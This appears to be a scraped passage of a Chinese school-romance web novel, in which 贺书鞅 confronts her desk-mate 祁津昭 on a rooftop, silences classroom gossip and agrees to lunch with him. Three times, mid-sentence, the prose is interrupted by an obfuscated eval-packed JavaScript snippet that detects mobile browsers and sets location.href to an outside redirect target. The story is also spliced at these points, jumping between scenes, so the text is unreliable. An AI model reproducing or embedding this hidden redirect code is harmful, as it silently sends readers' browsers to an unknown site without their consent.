“你怎么了?”作为多年好友,是荆一眼发现贺书鞅的情绪不对劲,“挨骂了?不应该啊,你又没犯事,老刘没理由骂你。” “不是老刘,就是遇到了个彻头彻尾的大骗子。”贺书鞅咬牙切齿道。 关键这骗子还没良心。 她也真是气晕了,都是骗子怎么会有良心。 是荆鲜少看到贺书鞅情绪有这么浓重的时候,大多数时候的贺书鞅带给人的是漫不经心的淡感,或许是因为极少时候会有人和事能够让她上心。 可一旦贺书鞅的情绪受到左右,说明这件事她较劲了。 “谁惹我们小祖宗不高兴了,说出来姐妹去帮你揍死他。”是荆是个极其护犊子的,不管是不是贺书鞅的问题,都是绝对站队贺书鞅。 两人自小就是这样,一方有事另一方会全力支援。 贺书鞅抿唇,视线上下将是荆扫了一遍,语气颇为遗憾道:“柿子你的好意我心领了,但你这个小身板到他跟前,我估计只剩下挨揍的份。” 别看是荆手长腿长,但在打架这方面,她只适合围观。 虽然是荆打架不行,但跳舞可是手拿把掐。 “去你的。”是荆嗔怪地用手肘了下贺书鞅的肩膀,鼓起腮帮子佯装生气地瞪她,“枉费我一片真心对你,真是个不识抬举的坏家伙。” “我是说真的。”贺书鞅义正言辞道,“我都不一定能打得过他。” 脑海中又不自觉闪烁过第一次见面的场景。 祁津昭是真的挺厉害。 “这么强?”是荆望向贺书鞅眼神微张,茶色的瞳孔中满是惊讶的神色,“我还是第一次见你这样夸一个人,我更好奇了。” 贺书鞅小时候身体不好,三岁家里人就给她找了武术教练,开始只是为了强身健体,后来教练发现她是个不错的苗子,串掇她去考级,中国武术学、散打、柔术三项她都有证,且都是最高段位。 是荆是见识过贺书鞅的实力,贺家三兄弟跟贺书鞅打平手都有些吃力,能打赢贺书鞅这人得多强。 “这人谁啊你给我说说,虽然我打不过他,但我可以智取。” 是荆是个好奇心极重的人,根本经不住贺书鞅这样一个接着一个的“诱惑”。 贺书鞅也没给她兜圈子,坦言道:“祁津昭。” “嗯?”是荆一时间没反应过来,等回过味嘴巴惊地能塞下个鸡蛋。 越发觉得这个世界挺魔幻,原以为贺书鞅这种类型的人算特例了,居然还有另一个特例。 果然啊果然,天外有天,人外有人。 贺书鞅垂眸盯着是荆,欣赏着她的面部变化,还不忘言语打趣她一番。 “收收你的下颚,别等会儿脱臼了。” 见是荆还是呆呆的,贺书鞅指尖挑起她的下巴,嘴角勾起一抹恶劣的笑,缓缓说道:“回神了公主,你这个反应我会觉得很挫败的。” 知道贺书鞅是在开玩笑,是荆敛住嘴角,感叹说:“书书啊,由此可得,你跟你那个同桌都是神人。” “而且——”是荆故意拖长尾音,一脸意味深长看着贺书鞅。 “而且什么?”贺书鞅很配合地发问。 “你们是天生宿敌。” 贺书鞅没反驳,只是淡淡笑了下。 心里是认同是荆的说法,她跟祁津昭第一次见面,两人就打了一架,明天他也进竞赛班,十二月份她跟他还会一同站在CMO决赛场,到那时自然少不了是要比上一场。 这样去看,她跟祁津昭拿的确实是宿敌的剧本。 可眼下,贺书鞅才不管祁津昭是宿敌还是旁的什么,只知道这货利用她的善良,真的很生气! —— 上课铃一响,教室里同学们都回到各自的位置上坐好,等着刘一诺来上课。 唯独,贺书鞅身旁的位置还是空的。 贺书鞅心不在焉转着手里的笔,余光似有若无扫过身旁的空位,很快转头看向门口,那里并未出现少年的身影。 虽然贺书鞅对祁津昭骗自己这件事很生气,但饼是她让人去买的,要是因此害他被老刘骂,她心里还是会过意不去。 她往教师办公室那边看了眼,刘一诺手里拿着课本,正缓步往班级这边走来。 贺书鞅垂眼,手伸进课桌里摸索,很快摸到一个冰凉的金属外壳,她用袖子挡住手机的边缘,目光在四周扫了一遍注意,快速解开手机,点开祁津昭的微信,在对话框里飞快敲下一行字。 【不可:你人呢?赶紧回来上课。】 发完立刻将手机塞回去。 “我在这呢。” 身后忽然传来一道清冷的男声。 贺书鞅没回头,也知道是她,身形顿了下,还是把椅子往前挪给他让出一条道。 祁津昭垂眼,目光落在面前的少女身上,她坐姿端正脊背挺得很直,乌黑浓密的长发被高高束起,扎成一个利落干净的高马尾,她的后颈线条毫无保留露了出来,纤细又白皙细腻的皮肤,在教室柔和的光线下泛着淡淡的温润光泽。 他的视线不自觉驻停在那片细腻的皮肤上,喉结轻轻滚动了下。 此时,走廊外传来刘一诺皮鞋踩在地面的声响,由远及近。 祁津昭回过神,别开视线若无其事从她身后走过。 下一秒,贺书鞅听到身旁的空位传来椅子拉动的声响。 几乎同时,刘一诺的身影出现在教室门口。 贺书鞅悬着的心不由自主地放下,还好他赶上了,要不然自己的罪过可就大了。 讲台上,刘一诺正在打开电脑投屏。 贺书鞅翻开英语课本最新的一课。 忽然,一只骨节分明的手压在她的课本上。 贺书鞅偏头朝左侧看去,眼神里满是漠然,“干嘛?” 她声音压得有些低。 祁津昭撩起眼皮,对上她的眼睛,声音松松懒懒:“有保温袋,下课应该还是热的。” “嗯?”贺书鞅不明所以。 下一秒,手里被塞进一个带着温热的东西。 贺书鞅垂眸,白色塑料袋里面装着一个圆鼓鼓的东西,裹着一个银色的保温袋,隔着袋子都能闻到一阵淡淡肉香味。 是鸡腿饼。 贺书鞅眼帘动了动,捏着手里的袋子,压低声音问:“你怎么买到的?” “这你就别管了。”祁津昭眉梢轻轻地挑了下,慢悠悠地说,“有开心一点吗?” 贺书鞅正准备点头,想到他干的事,原本还带着点温度眼神直接冷淡下去,直接把手上的袋子塞回他手里,一言不发别过头不再理会他。 祁津昭怔愣一瞬,张了张嘴,却又不知道该说点,捏着手里的东西,头一回在一个人身上体会到无措。 他不明白刚才还好好的,怎么下一秒就忽然就变脸,当眼神再落在少女冷漠的侧脸上,心里闷闷的。 祁津昭什么时候被这样对待过。 他轻哼了声,长臂一伸直接把东西塞进贺书鞅的桌肚里。 扫了眼低垂着脑袋写题的少女,心中暗想真是个没良心的家伙。 不就是冷暴力,谁还不会了。 她能变脸他也能。 这节课祁津昭罕见的没睡,甚至刘一诺点他名起来回答问题,面对抛出的问题,他没有丝毫慌张,张口便是流利标准的英腔。 发音清晰利落,语调沉稳自然,回答逻辑严密,每一句都用词精准,刘一诺接连追问了几句,他都从容对答,眼神平静,语速不急不缓,全程流畅自如,没有半点卡顿。 刘一诺微微点头,显然对他的回答十分满意。 坐下后,祁津昭余光瞟了眼身侧的人,发现她依旧保持着之前的动作,忽地发觉自己有些可笑。 直至下课铃响。 贺书鞅换书,从桌肚里往外抽书,手背不经意触到袋子,响起的窸窣声让她动作一顿。 她低头视线往桌肚里瞥,角落里不知何时多了个塑料袋,正是她还给祁津昭的鸡腿饼。 贺书鞅没犹豫,食指勾起袋子,打算将它再次还给祁津昭。 谁知,她扭头视线刚一抬,直直撞入一双漆黑幽暗的眸子里。 祁津昭的眼神平静得没有一丝波澜,透着一股生人勿近的冷意,让贺书鞅心头一紧,连带着想说的话卡在喉间。 他的眼神太淡太冷,带着一股无形的压迫感。 这样的祁津昭,跟先前贺书鞅见到的不一样,可又似乎没有违和感,仿佛这才是他原本该有的样子。 贺书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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彻底火是有人把偷拍的祁津昭侧颜照发到校园论坛,那个帖子在最短的时间浏览量疯涨,评论区被刷屏刷屏,热度一路飙升被顶到论坛首榜。 评论区更是从惊叹颜值变成狂热扒皮,大家都好奇这位转学生的来头。 直到下午,一条匿名评论出现在评论区。 祁津昭,初中就拿了全国联赛金牌,直接保送到蜀川七高,本来是转去隔壁二高,因为他数竞成绩特别好,被咱们学校挖过来,当数竞底牌。 然后就有人找到蜀川七高的论坛顺藤摸瓜,扒出这哥过往的光辉事迹。 最后总结祁津昭这个人:护短,不怕事,不惹事,双商高,有底线,长得逆天。 所以哪怕再想吃瓜,可主角是这二位不好惹,大家都只敢偷偷摸摸瞄着,就等着看接下来的戏码,谁曾想当事人竟然走了。 当即班级里炸开了锅。 “我靠,什么情况啊?” “有没有知情人能给我答疑解惑一下啊。” “不是,这两人之前认识吗?” “听祁大神的语气,咱们大小姐好像是个负心女。” “大小姐难道把祁大神渣了……” “我去……刺激啊!” “你们有注意到祁大神的那张脸吗?最后看大小姐的眼神像只受尽委屈的小狗。” …… 因为祁津昭的光辉事迹,他来一高第一天就荣获了一个新称号——祁大神。 而此时,众人口中的祁大神兼“委屈的小狗”本人,被人一路拽到顶楼。 贺书鞅面无表情从口袋掏出钥匙,咔嚓一声打开门,随后手腕发力,毫不客气把人甩进空旷的天台。 祁津昭踉跄了两步才稳住身形,回头时,只看见她站在门口,脸上没半分情绪,眼神冷得像结了冰。 “祁津昭,你那话什么意思?”贺书鞅语气淡淡,听不出什么情绪。 “我说错了吗?”祁津昭深深地看了一眼贺书鞅,根本不畏惧她的眼神,将自己心里最真实的想法吐露出,“想理了逗一下,不想理丢一边,你刚才不就是这么干的吗?” 闻言,贺书鞅只是轻描淡写地抬眸,轻轻地笑了下。 可了解她的人都知道,这一笑是有人要遭殃了…… 祁津昭将她的表情收尽眼底,总感觉她这一笑,像裹着糖衣的刀,能甜到人心软,也能随时剜走你的心。 “你很了解我是吗?”贺书鞅没什么情绪开口,双眸牢牢锁在祁津昭脸上,边说边步步朝他走近。 她每走一步,都把他往后逼退一步,直到他的后背重重抵在冰冷的墙壁上,退无可退。 贺书鞅抬手,掌心“咚”的一声按在他耳侧的墙面上,将他整个人牢牢圈在自己和墙壁之间,抬眼望着他,眼神冷而静。 “刚才不是还挺能说会道,怎么不说了?” “嗯?” 12. 春动 天台,安静得只剩下风声,和彼此近在咫尺的呼吸。 两人都没说话,只有衣角被风掀起,微微鼓荡起来,又缓缓落下。 祁津昭后背紧紧贴着微凉的墙面,身体是僵硬的,连呼吸都下意识屏住,心脏像是被人攥紧,疯狂地撞击着胸腔,发出震耳欲聋的声响。 他不说话,贺书鞅难得好脾气好耐心等着他。 她目光带着几分戏谑,几分探究,像一道温柔的枷锁,让他无处可逃。 祁津昭想别开脸,可贺书鞅目光牢牢锁在他身上,那眼神好似在说你是躲不掉的。 他喉结不受控制地滚动了一下,干涩得发不出一个音节。 饶是祁津昭再能忍,都改变不了身体给出的自然反应,他的脸颊以肉眼可见的速度染上绯红,从颧骨蔓延到耳根,连脖颈都泛起淡淡的粉色,平日里的从容淡定荡然无存,只剩下满心的局促,连指尖都微微蜷缩起来。 祁少长这么大,何曾有过像现在这么狼狈尴尬的处境。 这要被他那帮朋友们看到,指定是要被笑话。 拽天拽地目中无人惯的祁少,此刻正被一个女孩壁咚。 是的,他被壁咚了! 可……可为什么他并不排斥……反而…… 祁津昭你完了…… 不知是不是因为昨天攀岩胳膊发力时间过长,这会儿贺书鞅撑在墙上的手臂微微发颤,肩颈传来酸胀的无力感。 没等到祁津昭开口,她先眉心轻蹙,默默收回手臂,往后退了半步,两人距离拉开些。 贺书鞅左掌压着右肩,轻轻摇晃了几下胳膊,缓解那阵突如其来的酸麻,刚才那股强势的气场也跟着淡了几分。 少了那份迫人的气息,祁津昭紧绷的肩背缓缓放松,原本泛红的脸彻底恢复如常,刚才还失序的心跳,重新变得沉稳而平缓。 他站直身子,垂眸目光沉静地看着她,脸上没什么多余的表情,又变回了那个从容自持的样子。 “贺书鞅,你不仅不讲理,你还以权压人。” 闻言,贺书鞅停下甩臂的动作,嘴角微勾,“这不是会说,那刚才装什么哑巴?” “是觉得自己又能了?” 她的眼神仿佛在说:给你脸了。 祁津昭见贺书鞅有想上前的动作,先一步迈开步子绕到她身后,继续为自己申辩:“我那是让着你,而且我哪一点说错了?” “是,早上是我的问题,我嘴欠惹你不开心,所以我去弥补自己的错误,鸡腿饼你要我给你买来了,我不过就是问你一句开心点没有,我做错什么了?” “我有哪个地方惹你不快,可以直说啊,连机会都不给,冷着张脸给谁看。” “反正说来说去,都是我的问题呗,我想解决问题,你倒是好想的是直接解决我。” “厉害还是你厉害,我承认我是比不过你行了吧。” 贺书鞅:“……” 这人怎么越说越离谱,这都什么跟什么。 特别那句解决他,贺书鞅越听越觉得怪,怎么整得跟她跟……始乱终弃似的? 贺书鞅只觉得好笑,实在没忍住笑出声。 “祁津昭,你不要搞不清楚主次,是你对我耍心眼在先,在这里颠倒什么黑白?” “整得好像是我在无理取闹似的。” 主导权被贺书鞅拿回。 耍心眼三个字,瞬间让祁津昭偃旗息鼓。 他心虚地摸了下鼻尖。 “怎么不说了?”贺书鞅不禁腹诽,果然是个骗子。 “那也不算耍吧,我才来,确实对别人不熟,你跟我好歹交过手,怎么都比其他人熟,我想跟你一块吃饭,也没什么问题吧?” 思来想去祁津昭也没觉得自己有什么很大问题,最多就是他当时故意表现出犹豫不决,给贺书鞅留下了浮想联翩的空间。 反正不至于到连解释的机会都不给一个的地步。 贺书鞅刚想开口,又听见他的声音传来:“你如果真的不想跟我一块吃饭,可以直接跟我说,我又没非要赖着你,至于跟我生那么大的气吗?” 语调里有那么一丝丝的委屈。 让人听得忍不住心软。 “说完了吗?”贺书鞅慢悠悠来了一句。 祁津昭垂眼看着她,长睫轻轻盖下,无声地点点头。 动作轻又乖,眼底褪去锋芒,只剩下一脸认怂的软模样。 乖顺的样子莫名让贺书鞅想起小时候邻居家那只大金毛。 贺书鞅心里那点原本堵得慌的气,被他这软乎乎的顺从轻轻一撞,悄无声息散去一大半。 “跟吃饭没关系,你是竞赛班的人,来一班不过就是挂学籍,要不要融不融入到这个班,对你来说根本就不重要,反正后面大半时间你都是待在竞赛班,干嘛要在我面前演得那么可怜?”贺书鞅虽然依旧表情淡淡,但语气不似先前那般冷淡,柔和了不少。 祁津昭大概懂她的意思。 原来不是因为吃饭生气,是因为竞赛班这事。 那就是吃饭还有希望。 “你是不想我去竞赛班?”祁津昭说,“你不想那我就不去了。” 本来,祁津昭也没那么喜欢数竞,选择数竞只是因为小学二年级的时候,数学考了全班第一,那时候蒋韶凝还没离开祁家。 不管过去多久,他始终记得那天,阳光很暖,他攥着奖状跑回家递到蒋韶凝面前,女人眉眼带笑揉了揉他的头发,夸他厉害,说他是最让她骄傲的孩子。 那句夸奖,他记了好多年。 从那以后,他就拼命学数学,拼命拿第一。 奥数比赛、月考、期末考、大大小小的竞赛,他一路往前冲,奖杯奖状堆得满满当当一抽屉,所有人都觉得他是天生聪明、天生好强,只有他自己知道,他只是想想再看见一次蒋韶凝为他开心的样子。 他以为,只要拿够多的第一,就能留住蒋韶凝,就能留住那份来自妈妈的温暖。 可后来慢慢长大,他才发现,有些东西不是靠第一名就能换回来的。 再耀眼的成绩,再响亮的名号,都没办法留住蒋韶凝。 …… 贺书鞅不知道是自己哪一句话,让祁津昭误解成她不想他去竞赛班。 这家伙语文肯定很差,特别是阅读理解。 她才不管他去不去。 “要不要去是你的事,我说的是你装可怜博我同情的事。”贺书鞅都要被他搞得没脾气了。 她都怀疑,祁津昭是不是为了哄她,在故意装傻。 祁津昭终于搞明白贺书鞅生气的点,原来是因为知道他去竞赛班,觉得他说的话是为了故意耍人。 没来由得松下一口气,祁津昭弯起唇,向她解释:“没跟你说竞赛班这事,是我觉得反正后来也不会经常去,更多时间还是待在一班,没有说的必要,早上说那些话真不是耍你,怎么说未来还要同窗很长一段时间,不能等到毕业,班里的同学我连人家都名字都记不住吧?” “还是说,贺书鞅同学你只想我记住你一个人?” 听到后面这句话,贺书鞅抬眸,白了他一眼,“有病你去治。” 谁要他记住,长得不也就那样,以为自己是什么香饽饽吗 祁津昭也不气,好整以暇盯着她看,语调散漫:“原来不会这么想的呀,那看来是我误会了,抱歉啊贺同学。” 贺书鞅没理会他的插科打诨,把话题又引回竞赛班,“听说学校挖你过来是当底牌用的,你这么随意学校知道吗?” “谁说的?”祁津昭轻啧了一声,“一开始确实是要去二高,来一高是家里让改的,办手续那天跟学校老师一块吃了个饭,正好有个去年带队的老师在,他知道我劝我进竞赛班,家里人都在我又不好拒绝随口就应下,什么底牌没有的事儿。” 那天饭局祁津昭都没打算去,是被祁老爷子逼着去的,他去年CMO是前六十够资格进国集,只是当时家里有事没去,今年本来没参加的打算,偏偏有个带队老师认出他。 祁津昭知道老爷子给他的规划是华理,这两年他发现家里两位老人的身体不如以前,也知道为什么在蜀都好好的,死活非要闹着搬回京都,不就是为的他。 祁建鸣在官场一生清廉,铁面无私,他的作法自然有不少人看不惯,特别是那些被他整治过的地头蛇们,一直在等机会。 祁津昭最是善于察言观色,怎么会看不明白这里的原由。 所以很多时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202950|197270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候他能顺就顺着,只是为了他们可以陪自己更久一点。 听祁津昭这么一说,贺书鞅气消散得差不多,不过听到见他不把竞赛当一回事,怎么说她还挂着竞赛班班长这个头衔。 犹豫了下,贺书鞅觉得自己有必要履行自己的职责,尽量让自己的声音平静:“祁津昭不管他们拿你当什么,既然你选择进竞赛班,就好好努力,不为别的,就当是为你自己,数竞人都知道,好天赋就是恩赐,白白浪费掉就有点太可惜了。” 少年略微站直身子,清隽的眉骨,一改以往的懒散,抿唇看着她没有说话。 他的目光过于直接,反倒是让贺书鞅有些不好意思起来,别开视线,“你这么看着我干嘛?” “贺书鞅。”他轻声喊着她的名字。 这会儿听到祁津昭开口,还是忍不住掀起眼皮子去看他。 “干嘛?” “你是在关心我吗?” 他问的很直接。 贺书鞅迟疑了下,还是轻轻地点头,“我一个班长,关心一下班级同学,应该没什么问题吧?” 祁津昭低眼瞧她,眸光幽深,不知道在思忖些什么。 就……只是这样吗? 见他一直看着自己不说话,贺书鞅下意识抬手摸了下脸,“怎么了,是我脸上有什么东西?” 不然干嘛一直这样看着她。 祁津昭很轻地笑了下,“没有,我就是在想,你……” 他停下来,目光牢牢锁在她身上,“你跟别人不一样。” “当然不一样。”贺书鞅说,“每个人都是独一无二的。” “你也是。” “贺书鞅,还记得我们昨天的赌注吗?”祁津昭语气随意。 闻言,贺书鞅愣了下,不知道他怎么想起这件事,但还是垂眼点点头。 应下的事,她没理由食言。 “你想好了?” “想好了。”他说,“贺书鞅如果下次我做了什么让你不高兴的事,你别一个人生闷气,直接跟我说,至少要让我知道怎么才能哄好你。” 话落,风恰好又吹过来,两人的衣角扬起,在空中轻轻摩擦了下。 同时,贺书鞅的思绪也被吹乱。 今天第几次了。 哄她。 他的话……可语气又自然的像是在说一道题。 她眼睫轻轻颤动,喉间微微发紧,脑子一热,“祁津昭,你……是不是喜欢我?” 声音很轻像叹息,又无比清晰飘进他的耳朵。 空气瞬间安静。 风似乎也停了。 祁津昭看出她紧张,眼底漫开一点笑意,慢条斯理道:“你想得美,我这人傲得很,只有别人喜欢我的份,我才不会主动喜欢你。” 闻言,贺书鞅悬在半空的心终于放下,轻呼了口气。 “没有最好,不然我都不知道该怎么拒绝你。” 此话一出,空气似乎开始变得稀薄。 祁津昭脸上那点漫不经心的笑意,几乎是立刻淡下去,垂放在身侧指尖微不可察地蜷了蜷,不过片刻,他又恢复回以往那副淡定从容的样子。 “这么嫌弃啊,我有那么差劲吗?”祁津昭嘴角漾着弧度,语气依旧端着散漫,“别的我不敢说,就这张脸怎么也算得上倾国倾城,让人欲罢不能垂涎欲滴吧。” 还挺自大。 贺书鞅目光移到祁津昭的脸上,静静看了几秒,确实他是有说这句话的资格。 不过她还是先啧啧两声,才慢悠悠开口:“是是是,您倾国倾城欲罢不能垂涎欲滴,可怎么办呢?我的胃不好,你这盘菜我怕是无福消受。” “哦?”他拖长尾音,停下看她,“方便细说吗?” 贺书鞅想了下,还是决定不逗他。 “祁津昭同学,其实你说的挺对,你确实长得秀色可餐。”她一本正经地说,“只是现在的你跟我年纪还小,首要任务是学习,如果你刚才是在告白,我觉得礼貌拒绝不耽误才是对你最大的尊重。” 祁津昭轻咳一声,“是嘛,挺好的。” 秀色可餐,亏得她说得出来。 其实这个时候,贺书鞅只要稍稍抬眼,就能发现祁津昭的耳根子红了。 13. 春动(下章v) 两人是卡着上课铃下楼。 第二节预备铃刚响,贺书鞅踩着点踏进教室,一进门就感觉到几道若有若无的视线扫过来,当她顺着望回去发现那些人错开她的目光。 这时候贺书鞅猛然意识到,自己前面的举动给大家带来遐想的机会,当众把人拉走是她思虑不周,看来要害祁津昭跟着一块遭受流言了。 想到此,贺书鞅有些头疼。 祁津昭不紧不慢跟在她身后进了教室。 少年身形挺拔,眉眼依旧是那副淡淡的模样。 教室里有人假装低头刷题,耳朵却是竖得老高的,有人用课本挡着脸,和同桌交换一个心照不宣的眼神,还有人笔尖顿在纸上,目光在贺书鞅和祁津昭之间来回打转。 连空气里都莫名其妙多了一层说不清道不明的暧昧。 贺书鞅坐回位置,能清晰感觉到那些好奇、打趣、偷偷打量的目光,像细小的电流,在身上来回乱窜,她如坐针毡。 祁津昭倒是神色自然,径直走到自己座位,拉开椅子坐下时,目光很轻地扫了一圈教室。 就这么淡淡一眼,那些明目张胆的窥探立刻收回去。 这下,所有人都在心里偷偷笃定:这两个人,一定有点什么。 两人刚坐下,四周就立刻传来几道被压低极低的窃窃私语声。 最明显最清晰的要数贺书鞅身后这一桌。 “看到没看到没,祁大神是跟着大小姐一块进来的。” “你说她们一块出去这么久,是干嘛去了?” “我看祁大神这会儿不像出门那会气压那么低,肯定大小姐把他哄好了,你说该不会……哇靠” “什么啊?你快说。” “啵啵啊……” “真的假的,要是这样,你说他们是谁压的谁?” “我觉得是大小姐压的祁大神,你看大神都变小狗了,大小姐肯定是主导那个。” …… 后排窃笑声跟议论的内容全数落进贺书鞅耳中 这什么跟什么啊,这些人是真的敢说啊,贺书鞅眉头紧蹙得能夹死一只苍蝇,实在是没法再听下去。 她深吸了口气,自己尽可能平静下来,才缓缓转过身,目光落在后排两个正低头偷笑的女生身上。 贺书鞅声音不高不低,却足以让周围瞬间安静下来:“张月、陈琳琳,你们俩要不要考虑趴在我耳边说,这样我会听得更清楚些,也更方便我给你们答惑解疑。” 话音落下,那二人脸上的笑瞬间僵住,眼神慌乱地错开,谁也不敢接贺书鞅的话。 此刻,教室鸦雀无声。 贺书鞅继续道:“我觉得你们坐这里可惜了,以你们的脑洞现在更应该在片场,想法很丰富很有意思,肯定是有爆火的潜质,但别往我跟祁同学身上乱套。” 不等张月、陈琳琳二人接话,贺书鞅语气依旧,力道却是沉了下去。 “我跟祁同学是正儿八经互帮互助的好同桌。” “有些话可以说,但不能乱说。” “再让我听到一句没根据的话,我就当你们是在故意找事。” “听明白了吗二位?”贺书鞅声音清晰透着一股冷意,同时带着不容置喙的压迫感。 看似是在问张月、陈琳琳二人,实际是在警告所有还想继续八卦的人。 她听见了,也记住了,还来惹她就不再是动动嘴那么简单了。 张月跟陈琳琳被吓到连忙点头,同时道:“明白了明白了。” 贺书鞅唇角勾笑,抬眼淡淡扫了一圈四周,刚才还窃窃私语的众人都识趣地低下头。 这会儿大家都不敢往这尊大佛的枪口上撞。 贺书鞅很满意大家这个态度,神色如常地转了回去。 可刚一回头,视线就直直撞入一狭长幽深的凤眼里。 少年不知是何时转过来的,此时身子是正对着她的。 他就那样手臂随意抱在胸前,姿态松弛靠在椅子上,好整以暇地盯着她,睫羽垂落浅浅的阴影,让人看不出情绪。 贺书鞅不知道祁津昭这样看了多久,或许她刚才的所作所为都被他尽收眼底。 想到这儿,刚才还利落飒爽的那股劲儿,在这道目光里,莫名地乱了起来。 不过很快,贺书鞅就在心里哄劝自己。 没事的没事的,看到又怎么样,反正该说的话她已经说了,而且她维护的可是他的名声。 片刻后。 贺书鞅假装无事发生,迎上祁津昭投来的目光,朝他眨了眨眼,用只有她们两个才能听到的声音:“干嘛这样看着我?” 祁津昭看着她微微紧绷的表情,唇角勾起一抹极淡的笑意,声音低缓又清晰地落入贺书鞅耳中:“没想到,你还挺凶。” 很凶嘛?好像是有点。 贺书鞅挑眉,不在意地笑道:“你是第一天认识我吗?” 她打他的时候不比现在凶多了。 “那不一样。”祁津昭懒洋洋掀起眼皮,唇角似笑非笑道,“你刚才又凶又可爱,像海豚。” 贺书鞅斜睨他一眼没说话。 这人是在取笑她吗? 她是海豚,那他是什么?海胆吗? 贺书鞅腮帮子微鼓,微抬起脚在他小腿轻轻踢了一下,“那么喜欢要不要一次性让你看个够?” 她那么做是为了谁的声誉啊,祁津昭真是个可恶的家伙! 祁津昭见她脸上隐隐有了恼意,怕又把人惹急,还是收起继续逗她的心思。 别看这小妮子脸上常挂着淡笑,看似好说话,实际就她最难搞,脾气一上来十头牛都拉不回来。 “还是留着下次看吧,一次看完以后看什么?”祁津昭带着笑意看她。 贺书鞅轻哼了一声,不想再继续那个话题,“好好听课,有听不懂的地方记下来晚上回去问我。” 说完,她不再理会祁津昭,从课桌里拿出一个新的笔记本,低头开始去写这节课的重点。 “知道了,小贺老师。” 课间,贺书鞅余光偶尔会往祁津昭那边看,不知道是不是因为答应了她,后面两节课他都没有睡觉,连带着坐姿都规矩了几分,目光落在讲台上,安安静静听着课。 —— 最后一节是语文课,下课铃一响,讲台上的老师合上课本,半点拖堂的意思都没有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202951|197270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好了,这节课就到这儿,下课。” 话音刚落,教室里瞬间响起桌椅挪动声和说话声,有几个早就坐不住的男生,早早就背上书包,老师一句下课刚说完,脚底板跟抹了油似的,几秒就窜没影了。 一高中午是有两个小时午休时间,足够贺书鞅吃饭,所以她慢条斯理把课本收进书包里,等整理得差不多,抬眼就见是荆背着书包正往她这边来。 “书书你好了吗?” “好了好了。”贺书鞅把手机揣进兜里,从位置上起身。 迈出去一步,又退了回来。 是荆被这反常的动作弄得一愣,伸手拉了拉她,“怎么了?是落下东西了?” 贺书鞅没立刻回答,只是微微偏头,目光落在邻座。 此时,教室只剩下零星几个人。 祁津昭没有像别人一样离开,依旧坐在原位,单手撑着下巴,贺书鞅刚望向他,就对上他早已望过来的视线。 少年安安静静地坐在那儿,没有质问,没有冷脸,只有一双眼睛沉沉地望着她,眼尾微微垂着,神情就像被主人临时丢下的大狗。 贺书鞅心口猛地一软。 那眼神太干净,太温顺,带着一点被遗忘的茫然,又掺着终于等到人的庆幸,明明是他在等,却先露出了“我还在,我没走”的乖巧模样。 贺书鞅刚想说抱歉,就见他轻轻眨了眨眼,声音低低的,带着点不易察觉的委屈:“我还以为,你不打算跟我吃饭了。” 平时贺书鞅都是跟是荆一块吃饭,所以习惯了是荆一来找她就跟着走,将祁津昭给忘了。 “你怎么不喊我?”贺书鞅语气比平时柔了几分。 祁津昭不说话,只是静静看着她,睫毛轻轻垂着。 模样很乖又带着点可怜,让人心都要化了。 贺书鞅终于知道男生看萌妹什么感觉了。 要不是现在条件不允许,她是真想上手掐两把他的脸。 “这回我的问题,我错了。”贺书鞅俯身轻轻戳了下他的胳膊,又软声哄,“别生气,你想吃什么,我请你。” 祁津昭眉眼终于松动,声音低低的:“你能想起我就很好了,我哪还能要求什么。” 听听,这是还委屈着呢。 贺书鞅自知理亏,还是继续好脾气哄着他:“我就是习惯是荆来找我,就跟着她,放心绝对不会再有下回,你不饿我饿了,我们先去吃饭,吃完你再气行不行?” 心里想的却是,吃完这家伙要是还生气,她到时候直接把饭盆扣他脑门上。 “我没气,就是失落,你就这么把我给丢下,不过看你这么真诚的份上,这次我原谅你了,明天你可不能再把我忘了。”祁津昭自小跟在祁建鸣身边,最懂的就是迂回之术,更懂点到为止。 贺书鞅只顾着哄人,根本没注意到祁津昭在给她挖坑。 “好,明天我一定不会忘记,你想吃什么,我请你。” “你看着来,我都行。” 站在身后看着两人互动的是荆唇角微勾。 她的傻书书啊,真真是被美色给误了头。 看来,以后的日子不会那么无趣了。